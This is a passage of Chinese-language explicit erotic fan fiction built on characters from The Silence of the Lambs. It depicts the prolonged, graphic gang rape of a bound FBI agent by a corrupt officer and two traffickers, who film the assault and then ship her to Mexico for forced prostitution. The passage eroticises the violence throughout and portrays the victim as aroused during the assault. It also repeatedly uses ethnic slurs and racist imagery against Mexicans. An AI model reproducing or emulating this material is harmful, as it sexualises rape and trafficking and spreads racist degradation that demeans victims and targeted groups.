    「不急,不急,」矮胖盯著史達琳細窄的腰身和挺俏的臀丘,又嚥了一口口水,「反正也歸我們了,以後有的是機會。」
    「別客氣啦,」川特拍了拍矮胖的肩膀,「老弟,要不是我剛才連打兩炮,早就上去了。你們不是早就對FBI一肚子氣?你們也知道,這可是FBI的明星特工。還不趕快上去出出氣?」
    「操!叫這臭婊子見識一下俺們兄弟的厲害!」矮胖覺得自己已經給老闆賺足了面子,就邊說邊脫下褲子,挺出早已岩石一般堅硬的肉棒。他來到史達琳面前,一把抓住史達琳豐滿的乳房,托在手上感受了一下彈性和份量,點了點頭。果然不錯。兩個指肚兒揉搓起那粒小巧的乳頭。
    史達琳低低的呻吟聲,輕輕一提,旋即落回來,還是那麼婉轉。
    這奶子真他媽的不錯!
    看看老弟插的是史達琳的肉洞,說,「先等等,餵她個『三明治』,你下我上。」
    馬裡奧兄弟以前用過這個捆綁架,群奸那個漂亮的股票分析師。老湯姆告訴他們如何改裝這個看起來粗糙的捆綁架。木桶前後的兩大塊木板其實都可以很方便地卸下,正合適三人或四人的群奸。
    捆綁架離地面一尺的高度,裝了四個三角鐵,正好能架住卸下來的木板。一個人可以仰面朝天,躺在木板上,從下面抽插趴在木桶上的女子的肉洞,另一個人正好站在後面,蹂躪女子的菊洞。
    川特點了第三隻煙,在一旁饒有興致地看著兩個墨西哥佬忙活。他們一定欲火難捱,要不然,動作會那麼快!
    其實,剛才矮胖誤會了川特。川特微笑,並不在嘲弄瘦高是個急色鬼,而是因為史達琳將要遭受更多淩辱。他是真心高興。越多象馬裡奧兄弟這樣渾身狐臭的墨西哥佬,狠狠奸辱史達琳,川特就越高興。
    ************
    剛才那頓毫不停歇的瘋狂抽插,把史達琳衝擊得死去活來。男人的動作非常凶悍,又極為單調,肉棒每次都幾乎完全抽出來,只留下大半個龜頭卡在花徑的入口,然後再一下插到盡頭。一秒鐘兩下的速度,一點節奏變化也沒有,讓史達琳根本找不到喘息的機會。
    她的呻吟聲愈來愈大。下嘴唇早被自己咬破,但她根本沒有察覺。現在隨著男人的每一次插入,肉棒頂端撞擊花蕊時,史達琳的鼻腔中,都擠出一聲又低又長的哀鳴。
    她的身體雖然快要虛脫,整個人卻在逐漸適應瘦高墨西哥佬的殘暴獸行。除了又腫又疼的肉洞和花唇,她幾乎感覺不到自己身體的其他部位。不過,她的思維,反而漸漸清晰起來。
    股間男人幹得高興,嘴裡偶爾蹦出了幾個單詞。史達琳模模糊糊地覺得,好像是西班牙語。這個渾身狐臭的色中餓狼,應該是個墨西哥人。
    蓓絲就是被賣到了墨西哥。也就是說,這傢夥的確是來接她的人販子了。
    川特沒有騙她,他果然把自己賣給了墨西哥人肉販子。活下去的機會增加了很多。當然,史達琳也悲哀地發現,自己受辱的機會,只會增加的更多。
    她又哀傷地想起,自己珍貴的花徑,還從來沒被有色人種侵犯過!
    沒有關係,史達琳一邊隨著高瘦肉棒的抽插、深深淺淺地呻吟,一邊在心中給自己打氣,為了基尼,一定活下去。不管經歷什麼樣的淩辱,她也要活下去。為基尼和自己報仇。
    就在這當口,她的乳房忽然一疼。原來又一個墨西哥佬來到她的身邊,玩弄著她可憐的乳峰。天呀,不會還有第三個吧?
    沒關係,再多兩個也別怕。被強姦一次和被強姦一百次,也許真的沒有什麼區別。史達琳知道勇氣和信心是自己唯一的武器。她得堅持住,為了基尼。她決不能被歹徒的淫虐暴行擊垮。活下去,你要活下去。
    幾句西班牙語後,背後的那個傢夥突然從花徑裡拔出了肉棒。兩個人似乎在拆這個捆綁架。
    他們要幹什麼?
    就這樣把自己運走?很明顯,背後的那個傢夥還沒有射精。難道要在路上摧殘自己?
    史達琳喘著氣。昏睡一會兒積攢起來的一點兒氣力,被剛才暴風驟雨般的強奸掃蕩得乾乾淨淨。菊洞有些麻木了,但肉洞一陣疼似一陣。而且,淫辱一旦暫停,整個腰肢以下、大腿以上的部位都漸漸恢復了知覺,又酸又麻,腫脹難忍。
    史達琳暗自慶幸,好在,那歹徒沒有摧殘自己的菊洞。否則,自己肯定會死掉。那裡現在一定血肉模糊。
    矮胖的行動,很快就證實了史達琳最大的恐懼。瘦高鑽進了木桶下面,矮胖幫他調整身下木板的高度,前抑後仰,瘦高的小腹,剛好可以頂到史達琳狼藉一片的股間。
    瘦高的個子的確很高,整個胸膛都從木桶前面伸出來,擡起身子,他的臉正好對著史達琳的臉。他毫不客氣地一手一隻,抓住了史達琳豐滿的乳房。
    矮胖捏住瘦高的肉棒,對準了史達琳濕漉漉、腫兮兮的肉洞。
    史達琳一聲驚呼,瘦高的肉棒深深地插了進去。讓她驚訝的是,肉棒不過抽送了幾下,就留了一半停在裡面,不動了。
    這時,矮胖左腿站在高瘦兩腿之間,右腳踩在旁邊木架上。這個姿勢,他正好可以插到史達琳的菊洞。他用力掰開了史達琳的臀丘,塗了川特遞過來的奶油的肉棒尖端,對準了紅腫的菊花。
    難道他們要一起……
    「不,」史達琳忍不住內心的恐懼,第一次喊出了聲,「別、別在那裡……求求你……」
    不過,矮胖好像根本不懂英語。絲毫不被史達琳的哀求打動。他繼續用力。菊洞入口雖然很緊,但要全插進去,並不特別困難。
    「史達琳婊子,」川特出現在史達琳面前,把一口煙全噴在她的臉上,「你現在知道求饒了?晚了!」
    史達琳疼得流下了眼淚。朦朧的淚光中,她看到川特居然又端起了那台攝像機,正對著自己的面部,大拍特拍。
    史達琳努力吸了一下舌尖,收集到僅有的一點兒口水,正要再吐到川特臉上時,矮胖屁股一頂,肉棒狠狠貫穿了史達琳傷痕纍纍的菊洞。
    史達琳全身的氣力,都化作一聲淒厲的尖叫,口水一半噴在了瘦高的臉上,剩下的溢出嘴角,流過下巴,掛出一條銀亮的細絲,隨著她身體的劇烈戰慄而在空中微微飄蕩。
    瘦高毫不在意地抹了把臉,順手擰了擰女特工近在咫尺的俏麗臉蛋兒。她臉色慘白,精緻的鼻尖上,全是細細的汗珠兒。湛藍的眼睛失神地望著遠方,兩道淚痕劃過面頰。
    平生第一次被人同時插入花徑和菊洞,出乎意料的劇痛和震驚,激出史達琳一身冷汗。赤精條條的嬌軀不停地戰慄。她已感覺不出兩條肉棒的尺寸和方位,反正狼藉不堪的花徑似乎就要裂開。菊洞入口那幾道剛剛凝結的傷口,現在全部重新崩裂,而且又撕出了幾道新的口子。史達琳疼得「絲絲」直吸冷氣。
    更糟的是,那兩條肉棒把她的下身整個塞滿,中間只隔了一層薄薄的肉膜。似乎她稍稍扭一下屁股,整個盆骨就會碎掉。不過,她絲毫動彈不得。
    這種無法想像的極端充實,讓史達琳張大了嘴,倒吸著氣,卻發不出一聲哀求。
    她害怕極了。
    暴風雨前的寂靜,畢竟只會持續片刻。適應了目前的體位後,矮胖馬裡奧先動起來,低低吼了一聲,他一插到底。史達琳漂亮的脊背一下繃緊,喉嚨裡發出一聲哀怨的嗚咽。
    菊洞的滾燙、緊湊和菊洞入口令人發瘋的那圈肌肉,讓矮胖幾乎走火。他屏住氣,不敢造次,緩緩地抽回了肉棒。他的肉棒剛剛錯過高瘦凶器的頂端,高瘦就在史達琳身下把屁股向上狠狠一頂,插進了花徑的深處。
    史達琳剛才的那口氣還沒有緩過來,就被高瘦這盡力一插噎了回去。她的眼前開始金星亂飛。根本不容她喘息,花徑裡高瘦的肉棒剛剛抽回去,矮胖在菊洞的肉棒再次插了回來。她不敢相信自己苗條的下身,居然可以同時容納兩條肉棒的淩辱。遭受如此生猛的前後夾擊,史達琳覺得自己就要死掉。
    兄弟倆就這樣熟練地開始了演練過幾十遍的合作。你進我退,此消彼長。另一條肉棒的存在,大大增加了肉洞和菊洞對肉棒的壓力和刺激。孿生兄弟的兩條肉棒,現在似乎每一處都像龜頭那樣敏感。快感強烈何止百倍!
    透過攝像機的取景器,川特滿意地欣賞著面前的淫糜美景。赤精條條的史達琳,夾在兩個全身汗毛、皮膚黝黑的墨西哥佬中間,肌膚相接,肢體交錯,被這兩頭發情的種豬盡情摧殘。
    原本玲瓏的雪白嬌軀,現在亮晶晶的塗滿了汗水,隨著男人們的獸行,像狂風中的一片柳葉,婉轉起伏,欲拒還迎。酡紅的面頰,淩亂的髮梢,迷茫的目光,飛濺的汗珠兒,欲合又啟的兩片豐滿紅唇,越發令人憐惜。
    史達琳從未經受過這樣非人的折磨,無法形容的巨大痛楚讓她睜大了眼睛,卻什麼也看不見;張大了嘴巴,卻什麼也說不出。
    只有不成語句的哀啼聲,在地下室裡淒慘地四處迴盪,久久不絕。
    第二十二章
    六月二十三日,星期二,中部時間,04:28,漢茲農場
    整間地下室裡,充滿了淫糜的味道。馬裡奧兄弟此起彼伏的粗重喘息,和史達琳如泣如訴的痛苦呻吟交織在一起,連續衝擊著川特的鼓膜。川特真是開心死了。這筆生意真是合算!得罪我,你會有好下場?
    馬裡奧兄弟已經換了一次位置。現在矮胖在下,猛干史達琳的肉洞,高瘦殿後,狂插史達琳的菊穴。高瘦畢竟久疏戰陣,加上前後夾攻又過於刺激,剛才他在下面的時候,沒干多久,就一洩如注。
    川特可不願意好戲這樣就結束。他把那個橡膠環遞給一臉沮喪的瘦高,讓把用史達琳的小嘴回回神,接著再戰。那時候史達琳已經被摧殘得毫無抵抗能力。瘦高非常順利就塞好了橡膠環,然後插起了史達琳的喉嚨。
    多虧他三個星期沒有打炮,不消三分鐘,肉棒重又生機勃勃。這次,他想嘗嘗FBI女特工菊洞的味道,很快和老大換了位置。這一炮,他肯定可以持續很久很久。
    川特得意非凡,他真希望馬裡奧兄弟能這樣一口氣幹上十二個小時。這時他忽然聽到了汽車的聲音。送錢的人來了。二十萬美元就要到手嘍。放下錄像機,上樓的時候,川特習慣性地檢查了一下自己的手槍。
    走到門口,川特看到一個高個子白人,正趴在基尼的那輛「探險者」的窗戶上,拚命往裡張望。聽到川特的腳步聲,他連忙直起身,向川特走過來。在昏暗的燈光下,川特發現這個送錢的傑克竟然意外的年輕,而且,臉色似乎也有些過於慘白。
    難道有什麼問題?川特很欣慰自己剛剛檢查了手槍。到了這個份上,他絕不允許任何意外的出現。反正現金就在眼前,萬一有什麼意外,他可不在乎是不是再多殺幾個。
    傑克遞過來一個沈重的皮包,說二十萬現金都在裡面。說罷他又加了一句,「那個女的還在裡面?」他的聲音有些顫抖。
    「是啊,」川特狠狠盯了傑克一眼,「你的老朋友馬裡奧兄弟正在和她盤腸大戰呢。走吧,一起進去樂一樂,反正有的是時間。」說罷,川特不容傑克反應,一把抓住他的手就往拉。在沒摸清這個傑克的底細,搞明白他為什麼如此緊張之前,他才不會讓這小子輕易走掉哩。
    「她真的是FBI女特工?就她一個人?」
    「看來馬裡奧兄弟真的對你無話不談哈,」川特又揚了揚眉毛,心中飛速盤算了一下,決定索性全都告訴傑克,看這小子還有什麼花樣,「她叫史達琳,還有一個伴兒,被我幹掉了。」
    「啊--」傑克幾乎踉蹌了一下,「原來這樣……」
    「怎麼,小兄弟,你認識這個婊子特工?」
    「嗯,」傑克沈吟一下,有些支吾地說道,「如果是那個『野牛比爾』的史達琳,算是有點過節……我的、我的一個好兄弟壞在這婊子手上……我一直等機會報仇呢。」
    「哦,原來這樣,」川特放了一半的心,「我說你無緣無故緊張什麼。」
    現在,他們來到了地下室的入口,門沒有關嚴,裡面傳來兩男一女瘋狂交媾的聲音。史達琳嬌柔婉轉的呻吟聲,夾雜在兩個墨西哥佬粗重的喘息中,清晰可辨。傑克的臉色更加慘白了。他好像有些虛弱,上身幾乎要倒在牆上。牛仔褲前端,卻明顯隆起。
    「怎麼樣,小兄弟,」川特拉開地下室的門,「不打算為朋友報仇雪恨,上去幹兩炮?」
    「行啊,」傑克夢遊一般的聲音。猶疑了片刻,彷彿下定了決心,他對著川特咧嘴一笑,居然變戲法般從口袋裡摸出個黑色的眼罩來,「打她兩炮!不過,我喜歡玩蒙著眼睛的小妞兒!」他的聲音在微微地顫抖。
    ************
    六月二十三日,星期二,中部時間,04:32,漢茲農場
    就在川特和傑克走下樓梯的當口,仰面躺在木板上的矮胖老大也在史達琳的肉洞裡爆發了。他乾嚎了一聲,扶住史達琳兩胯的手指,死死掐進史達琳白嫩的肌膚,屁股往上死命一頂,鬼哭狼嚎地開始一通狂射。可憐的史達琳,全身隨著矮胖顫抖了將近一分鐘。
    「三明治」的前後夾擊本來就太過激烈,加上矮胖的最後衝刺和爆發,史達琳居然被蹂躪得昏死過去。
    矮胖躺在那裡直喘粗氣,嘴裡嘟嚕出一長串西班牙語。只有還在史達琳股間埋頭苦幹的瘦高知道,他哥哥在感謝聖母瑪利亞,賜予他如此美妙的高潮。現在哪裡還找得到這樣虔誠的天主教徒?
    恢復過來的矮胖,發現史達琳昏死過去,連忙爬起來,拍了拍她的臉蛋兒。沒有反應。川特不以為然地說:「別擔心,這婊子結實著呢。」矮胖手指按在史達琳脖子上。脈搏很有力,很正常,這才放了心,順手抓過一把史達琳的金髮,胡亂擦了擦濕漉漉的肉棒,然後一邊提上褲子,一邊跟傑克打招呼。
    川特走上前,把傑克的黑眼罩套在了史達琳的眼睛上。失去知覺的史達琳,全身都被浸透了一般,滿是自己和馬裡奧兄弟汗水,雪白的燈光下,閃閃發亮。原本凝脂一般的肌膚,更顯得驚人的嬌艷。
    漂亮的金色短髮,粘成了一綹一綹,貼在額頭和面頰。赤裸乳房和臀丘,在瘦高墨西哥佬的抽插下,蕩漾出一波波誘人的肉浪。燈光刺眼,伏在深色的木桶上,她的嬌軀竟然那樣性感,美得讓人幾乎停止心跳。
    傑克站在史達琳面前,張著嘴,似乎不敢相信眼前這出令人窒息的活春宮。他的喉結跳動一下,舔了舔乾澀的嘴唇,慢慢走到捆綁架前,蹲下來。他的手心全是汗,在仔褲上擦了又擦。伸出手,小心翼翼地在空氣中徘徊許久,顫抖的手指卻始終沒有觸及史達琳光滑的屁股和修長的大腿。
    他好像面對一件舉世無雙的珍貴瓷器,木立在那裡,連大氣都不敢出一口,更不要說伸出手去撫摸一番了。似乎那件瓷器如此精緻,只要落上一根羽毛,也會斷然碎掉。
    川特又點了支煙,一身大汗的馬裡奧兄弟,狐臭味似乎增加了十倍。沒有奸淫史達琳這場好戲,川特早就堅持不下去了。他只好不停地大口抽煙。
    不過,那個傑克確實很有意思。在昏迷的史達琳面前,他就像一個面對心中偶像的處男那樣,手足無措,進退失據。
    他到底跟史達琳有什麼瓜葛?
    瘦高並沒有他以為的那樣持久。緊湊滾燙的菊洞竟然如此美妙,剛干了十分鐘,他又接近了崩潰邊緣。瘦高一邊野豬般哼哼著,一邊以驚人的頻率和力度做最後的衝刺。史達琳濕漉漉的小腹下端,被他撞擊得幾乎要離開了木桶。傑克卻絲毫不為這驚天動地的大場面所吸引,他癡癡地凝望著史達琳倒垂在空中,前後劇烈甩動的乳房。他似乎對那種充滿彈性的運動入了迷。
    瘦高沒能堅持多久,便「哦、哦、哦、」尖叫著攀上了頂峰。昏迷中的史達琳,隨著墨西哥佬的每一次射精,從鼻腔裡發出含糊然而誘人的呻吟聲。
    天呀,這世上還有這樣性感的聲音?傑克心裡驚歎著。
    「噗哧」一聲,瘦高拔出肉棒,有些搖晃地退了一步,彎腰撿起史達琳的那件白襯衣,套在肉棒上一邊擦拭一邊拍了拍傑克的肩膀,「小夥計,輪到你啦。真他娘舒服死俺哩!」
    傑克輕輕點點頭,轉身來到史達琳的背後,盯著她的股間。那裡狼藉一片,菊洞可憐地大敞著口子,向外翻捲的肉唇也腫得發亮,白稠的粘液,正緩緩地從兩個備受蹂躪的洞口滲出來,塗的整個股間到處都是。眼前的淒慘景象,不由分說地讓人透不過氣來。
    傑克的手指,在空中試探了很久,終於觸到了史達琳嬌嫩的肌膚。他的喉結又跳了一下。食指落在陡然隆起的臀丘之間,對著那條越來越深的股溝,慢慢從腰間一路輕輕地滑下來。手指在恥骨附近停下來,在那裡輕輕劃著圈子,似乎在尋找什麼。
    傑克好像唸唸有詞,雖然誰也不知道他在說些什麼。他的手指終於又動了起來,越過菊洞和花唇,摸了摸小腹底端那一小塊修剪整齊的毛髮。那裡一片滑膩,塗滿了溢出來的精液。
    傑克若有所思地把手指上的精液,在史達琳光滑的臀丘上輕輕地擦拭乾淨。然後他轉到前面,百般憐惜地注視著史達琳的面龐。他蜷起右手的食指,順著史達琳挺直的鼻樑,輕輕劃過鼻尖,劃過嘴唇,劃過下巴。最後指尖托起史達琳的下巴,傑克彎下腰,輕輕地吻了吻史達琳自己咬破的嘴唇。
    他用別人聽不到的聲音,悄悄地對著昏迷中的史達琳說,「終於,你是我的了。」
    ************
    六月二十三日,星期二,中部時間,05:35,漢茲農場
    一種尖銳的刺痛,忽然喚醒了史達琳沈寂的神經。這次,她馬上就意識到自己還在被人奸辱。但她一時找不到刺痛究竟來自哪裡。她想睜開眼睛,卻什麼也看不見。足足花了五秒鐘,才明白原來自己被戴上了眼罩。扭動一下身子,手腳還被牢牢綁住。
    她口渴極了。
    也許,自己還在地下室。只是,自己昏過去了多久,其間又發生了什麼?為什麼他們給自己戴上眼罩?
    冥冥之中,她似乎知道他們又殘忍地摧殘了自己多次。而且,她馬上就找到了證據。她的嘴裡稠乎乎又腥又臭,舌尖一翻,就觸到幾股滑膩膩的痰狀粘液。那是什麼,自然不言而喻。
    又是一股刺痛。這次史達琳發現,原來某個歹徒正在用牙齒輕咬自己右面嬌嫩的乳頭!但是她覺得那種感覺並不討厭。而左面的乳房,也被歹徒握在手裡,輕輕地揉搓。鋒利的牙齒再次咬住了乳頭。史達琳全身的汗毛都豎起來了。不過歹徒這次並沒有咬,而是把整個乳頭含進嘴裡,輕輕地吮吸起來。
    在史達琳察覺前,一絲呻吟從鼻腔中悄悄溜了出去。誰都聽得出,那是快樂的歎息。握著乳房的手頓了一頓,然後,更加溫柔愛撫起來。
    一絲絲的快感,從胸前傳來。倍受折磨的神經,乍遇銷魂的快感,居然無法消受。史達琳又低低呻吟了一聲。她知道自己的乳房已經漲起,乳頭也一定硬到了極點。
    「這是怎麼回事?為什麼會這個樣子?」史達琳茫茫然不知所措。她無法相信被強姦時,自己居然會出現快感。
    不過,那雙手掌、那對嘴唇以及溫柔極了的舌尖,確實讓得她舒服異常。特別是剛經歷如此殘酷的輪姦,逐漸被喚醒的身體,幾乎無法抵抗那種快感。好像一個渴極了的人,無法抵抗清水的甘美一樣。哪怕一丁點兒的刺激,也被陡然放大了許多倍,盡情滋潤著憔悴的軀體。
    男人鬆開了她的乳頭。伏在她背上,柔軟的舌尖在她的肩胛骨上滑來滑去。那裡幾乎沒有脂肪,舌尖的挑逗,居然那麼簡單直接、那麼回味悠長。史達琳一下屏住了呼吸。心跳開始加速,
    她又低低地哼了一聲。原來舌尖順著肩頭,一點點舔上脖子。
    男人呼出的熱氣,弄得她的脖子很癢癢。
    史達琳皺起眉頭,不由自主又咬住了自己的下嘴唇。很疼,那裡早就破了。但這並不能干擾快感源源不斷地傳遍了四肢百骸。一個快樂的火花突然在下身迸發,雖然一閃既逝,還是照亮了那裡的麻木,讓史達琳心跳不已。讓她的氣息更加急促。
    她的呼吸,其實已經稱得上激烈了。整個光滑的上身,在木桶上輕輕地上下起伏。
    靈巧的舌尖,一路向上,找到了史達琳的耳朵。溫濕的嘴含住了她的耳垂。她幾乎喊出了聲。又有幾粒火花在史達琳的下身接連綻放。她的嘴唇咬出了血。
    幸好,因為U型木板的緣故,男人怎麼也舔不到史達琳的耳朵眼,不然,史達琳真的會大喊起來。那是她全身最敏感的地帶。男人站直了身子,史達琳長長出了口氣。
    男人還是不慌不忙,把重點轉移到了史達琳完好的左腿上。那條劃破的白色運動內褲,還可憐巴巴地掛在小腿上。男人小心翼翼地把內褲拉到腳踝。然後是絲襪,拉起襪筒,同樣剝至腳踝,裸出筆直光潔的小腿來。指尖在修長的大腿上輕輕滑來滑去。然後是舌頭,一路從大腿舔到了腳踝。
    史達琳倒吸著冷氣。那種酥麻酸癢的感覺,讓她恨不得大叫一聲。
    但是她不能。她無法想像自己在強姦犯身下動情地呻吟。
    很意外的,男人小心地解開了她左腳的皮套,握住了她的小腿。長時間的捆綁,讓史達琳的左腳早已麻木,現在一旦鬆開,血液重新流進來,彷彿成千上萬的螞蟻一起啃噬她的那隻腳。
    「啊……」史達琳低低呻吟著,幾乎又要流淚了。
    男人很耐心、很溫柔地輕輕按摩著那隻小巧的赤足。很快螞蟻們越來越少,她的呻吟聲暗淡下去。男人見狀,小心地剝掉了她腳上的殘破內褲和彈力襪。然後,握著腳踝,把那只左腳拉到自己面前,輕輕揉著史達琳的腳心,然後一隻一只撥弄著史達琳秀氣的腳趾。
    史達琳想收回腳,但全身好像忽然脫了氣力。拚命試一試,但男人的力量很大,她根本逃不掉。於是癱軟在那裡,聽任男人的擺佈。男人伸出舌頭,舔她的腳心。那裡癢得她欲哭不能。
    男人又開始吸她的腳趾。先是大腳趾,舌尖仔細在豐腴的指肚上塗滿口水,然後舔著腳趾之間的那層薄皮。更多的火花在史達琳的下身爆發。她的腳趾忍不住要伸一伸,動一動。
    現在,即使想逃,也是有力無心。
    也許,快樂一下,不好嗎?哪怕就一下?
    二腳趾和三腳趾這次一起被男人含住,先舔,再吸。史達琳終於被男人吸得魂飛魄散。從來不知道自己的腳趾可以這樣敏感,下身的快感火花,現在接連不斷,彷彿一場迷離的狂歡焰火。她不知羞恥地放聲呻吟。
    備受蹂躪、憔悴不堪的花唇,似乎搔癢難忍,似乎全然忘記了被輪姦的苦惱,極度渴望男人手指的愛撫。
    不知不覺中,她微微扭起了自己的屁股。
    史達琳簡直不敢相信,自己居然被一個強姦犯舔舔腳趾頭,就會達到高潮。但是,那個高潮的確越來越近。
    「不……」她的呻吟幾乎成了哭腔。
    然而,慾望的潮水,毫不理會她的無奈和羞恥,越漲越高。她知道自己馬上就要被淹沒。對此她無能為力。於是,她只好咬緊嘴唇。
    在她馬上達到高潮前一霎那,男人飛快地站了起來,把同樣就要爆炸的肉棒插進了史達琳滑膩滾燙的肉洞。
    然後,史達琳全身都在顫抖。她的牙齒甚至也在打架。她臉色慘白。
    其實,那個小小的高潮早已過去。史達琳全身發抖,不過是因為她的憤怒。
    那很難算得上是一個真正的高潮。花徑外端的腔壁不過輕輕跳了三、四下。
    但是史達琳還是如此憤怒,居然感覺不到腿間的男人在自己花徑裡的爆發。他的爆發持續了相當久,雖然精液卻是意外的少。
    因為她聽到了一句話,那張嘴就在她的面前,聲音不大,卻異常清晰。
    「真是個淫賤婊子!」那是川特的聲音。
    「我說傑克,」墨西哥口音,在她前方六英尺處,川特的背後,「你還真行呀,不過,打這一炮也忒費工夫了。還是剛才咱們三個一起上的爽啊。」
    「你懂什麼!」又一個墨西哥口音,「這才見真章兒吶。剛才三個一起上,好是好。可那是兩回事兒!」
    「史達琳,」還是川特的聲音,他在摸她的臉,她竭力想躲開,耳朵都被木板蹭破,「你這條淫蕩的母狗。」
    史達琳朝著川特的方向,想狠狠吐一口,但卻什麼也沒有吐出來。
    此刻,她背後那個男人的肉棒,插在她的花徑深處,也在竭力地吐,雖然同樣什麼也吐不出,雖然吐得越來越慢,力氣也越來越小。
    終於,男人摸了摸她的大腿和屁股,退了出去。接著是悉悉挲挲提褲子的聲音。
    「好啦,」川特的聲音,一幅發號施令的腔調,「天都亮了,你們炮也都打夠了吧。該上路了。」
    「打夠了,打夠了,」第一個墨西哥口音,「不到兩個小時打了三炮,好久沒這麼爽了。」
    「反正她在你手裡,以後,想怎麼玩就怎麼玩,」還是川特,「對了,這是小母狗的FBI證件,你們拿好,以後她接客的時候,掛在她脖子上。客人一定喜歡。對了,代我問你老闆好。傑克,後會有期!」
    史達琳身邊一陣雜亂的腳步聲。幾個男人都動了起來。
    「臭婊子,」川特又貼到了史達琳的耳邊,解下那個眼罩,「今天夜裡爽透了吧。嘿嘿,一共九炮。等到了墨西哥,這不過是小小的熱身罷了。好福氣呀,你!特工史達琳!」
    ************
    六月二十三日,星期二,中部時間,05:55,漢茲農場
    史達琳被馬裡奧兄弟從捆綁架上解下來。川特一早就告誡過他們史達琳多麼危險。雖然她現在虛弱得幾乎擡不起手臂,墨西哥佬還是很小心。瘦高解開她右手的皮套時,矮胖一直用一隻手槍頂著史達琳的太陽穴。瘦高把她的右手扳到背後,用身子壓住,然後去解她的左手。
    其實,一直保持著被綁的姿勢,史達琳的四肢又酸又麻,被男人碰一下,還要呻吟半天。哪裡還有反抗的餘地?
    瘦高把史達琳的兩隻手在背後併攏,然後摸出一隻極為小巧、不過兩英吋長短的指銬,銬住史達琳兩個大拇指。他銬的很緊,兩個拇指指肚立即缺血變白。收拾停當,瘦高抓著史達琳的金髮,把她從木桶上拉起來,扛在肩上就走。
    院子裡,天已經大亮。
    川特的警車已經開出了農場。傑克也發動汽車,剛調了頭,看到瘦高右肩上倒扛著幾乎一絲不掛的史達琳,從他的車前大步走過。瘦高的骨頭架子很大,史達琳細柔的腰身,正好搭滿他的右肩,兩條修長的小腿,被男人的右手一把攬在懷中。光溜溜的臀丘,緊緊貼著墨西哥佬的腦袋。
    雖然兩腿緊閉,紅腫股間花唇和菊洞的那一片狼藉,依然清晰可辨。
    她全身唯一的遮掩,不過右腳那條骯髒殘破的亮灰色絲襪。
    瘦高走過傑克的車子時,故意在史達琳的臀丘上響亮地拍了一掌。倒垂於男人背後的金髮,隨著男人的步伐,輕輕地來迴盪漾。銬在背後得手臂,竟然意外的纖細和無力。
    史達琳一身映雪肌膚,在陽光下,居然有些耀眼。
    傑克知道這個場景,他今生都不會淡忘。
    看到瘦高把史達琳塞進貨車車廂,傑克猛踩油門,輪胎發出刺耳的尖叫,一下衝出了漢茲農場。
    一路飛奔,上了高速後,年輕的傑克下意識地摸了摸自己鼓鼓囊囊的口袋,那裡塞著黑色眼罩、一條女式彈力襪,和那件右胯完全被割斷的運動內褲。
    ************
    六月二十三日,星期二,中部時間,06:15,密西西比
    馬裡奧兄弟在他們遇到的第一個加油站停下來,瘦高老二加油,矮胖老大找了個公用電話,向羅德裡格斯的值班手下匯報「提貨」一切順利,他們會在下午五點之前,直接返回墨西哥。對方隨便說了句「路上小心」就掛了電話。因為他們都知道,這不過是又一次例行公事而已。
    ************
    六月二十三日,星期二,中部時間,07:23,新奧爾良
    他輕輕地打開自己小屋的房門,雖然疲憊不堪,精神卻亢奮依然。他幾乎不敢相信淩晨的奇遇。走進窄小的儲藏室,他翻出一個不起眼的紙盒子,掏出口袋裡的那幾件紀念品,小心翼翼地放進盒子藏好。那條內褲似乎還帶著女主人的體溫氣息,他的褲子前面,居然又搭起了帳篷。
    他躡手躡腳地走進臥室。中間的單人床上,一個年輕的女孩子正在裸睡。他脫得只剩一條內褲,翻身上床。女孩子睡眼惺忪地嘟囔了一句「你回來了」,掉過身子繼續睡。
    他看著自己高高頂起的內褲,忽然靈機一動,單膝跪在枕頭上,把女孩子的頭扳過來,直挺挺的肉棒,剛好對準了女孩子的臉,然後搖醒了女孩子。
    「幹嘛呀。」還沒睡醒的女孩並不熱情,敷衍地把肉棒含進嘴裡。剛吸了兩口,就吐出來,罵了聲:「討厭,也不洗乾淨。」扭過身子,準備接著睡。
    「你不就喜歡原汁原味嘛。」他拉開女孩的大腿,茂密的毛髮中,舌尖找到了花唇。那裡迅速濕潤起來。情慾趕走了睡魔,女孩子歎了口氣,翻過身子,趴在男人的肚子上,握著堅硬的肉棒,垂下了頭……
    ………五、六分鐘後,頭髮淩亂的女孩子,一邊舔著嘴角的殘精,一邊捏住男人的鼻子,氣勢洶洶地問,「老實交代,怎麼就這麼一點?你不是說去加班了麼?究竟幹了什麼勾當!一定又去找凱蒂那個小狐狸精了。偷了腥也不洗個澡,哼,」語氣忽然一變,轉嗔為喜,「好在我還不是你的女朋友,萬幸啊萬幸。」
    「如果我讓你做我的女友呢?」說完這句話,他馬上就有些後悔,心裡忐忐忑忑,不知道自己是不是做了一個正確的決定。也許,這才是自找麻煩呢。
    「想騙我?鬼才會上當呢!」女孩麻利地跳下床,伸了個大大的懶腰,也許是高潮餘韻未消,臉上紅紅的,「我洗完澡就回家,你好好睡吧。記住,明天晚上去我家吃飯,到時候你敢再說有事!」
    「對了,」幾乎進了浴室的女孩又衝了回來,「記住,你說過要送我一件禮物的哦。又欠我一次!還有,下次跟人上了床,洗乾淨了再找別的女孩。女人對女人的味道很敏感呢。」
    他望著她的身影,心中竟湧起了萬般感慨,他默默在心中說了句:「其實,那就是你夢寐以求的禮物啊。」
    第二十三章
    六月二十三日,星期二,中部時間,08:15,新奧爾良
    FBI新奧爾良分局三樓的那間會議室裡,奎因和其他聯邦特工坐立不安。一個年輕特工正在給基尼和史達琳預定的旅館打電話。另一個愁眉不展地對奎因說:「基尼從來沒遲到過。昨天下午他還對我說,今天一大早就去查銀行記錄,不得耽擱。」
    打電話的年輕特工掛上電話,對奎因聳了聳肩,「旅館說他們昨天晚上根本就沒回去。」
    「這個史達琳,怎麼搞的?」奎因皺緊眉頭,心中暗自揣摩,「她正和基尼熱戀,也許……不,不會,」他否定了那個想法,彷彿它過於荒謬,「史達琳決不會拿工作當兒戲的。那到底什麼回事?」
    「不能再等了,」奎因對屋子裡的特工說,「時間緊迫,你們兩個人留守,一旦和基尼聯繫上,馬上呼叫我。其他人跟我去傑克遜縣查帳。馬上出發。」
    ************
    六月二十三日,星期二,中部時間,08:20,路易斯安那
    史達琳不知道自己被扔進這個密閉的車廂後,已經過了多久。車廂的頂燈早被瘦高關掉,裡面一團漆黑,什麼也看不見。不過,被瘦高扛進來的時候,她一邊忍受著墨西哥佬的動手動腳,一邊盡可能地觀察了一番。
    二十英尺長的車廂被一大塊鋼板隔成兩段,鋼板中間開了個六尺高的鐵門。鋼板外側嚴嚴實實堆了兩層箱子,一副裡面也裝滿貨物的樣子。其實,中間那組箱子下面有暗輪,鬆開一個機關,可以很方便地移動,後面就是隔間的門。鎖在外面。
